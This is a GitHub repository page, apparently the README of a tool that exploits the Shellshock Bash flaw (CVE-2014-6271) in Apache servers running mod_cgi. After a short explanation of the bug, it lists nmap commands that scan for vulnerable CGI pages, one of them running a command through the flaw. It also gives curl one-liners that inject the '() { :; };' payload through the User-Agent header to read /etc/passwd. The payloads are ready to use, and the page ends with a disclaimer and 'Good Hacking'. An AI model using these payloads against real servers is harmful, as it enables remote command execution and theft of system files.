Skip to content

Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi

Notifications You must be signed in to change notification settings

Jsmoreira02/CVE-2014-6271

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 

Repository files navigation

Shellshock Exploitation (CVE-2014-6271)

Shellshock is effectively a Remote Command Execution vulnerability in BASH. This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.

Lab for vulnerability testing

Find CGI-BIN pages:

$ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
$ nmap -sV -p- --script http-shellshock 192.168.x.x
$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Manual test:

sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" <WEBSERVER-IP>
sudo curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" <WEBSERVER-IP>

Warning:

I am not responsible for any illegal use or damage caused by this tool. It was written for fun, not evil and is intended to raise awareness about hacking and cybersecurity

Good Hacking :)

About

Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi

Topics

Resources

Stars

Watchers

Forks

Languages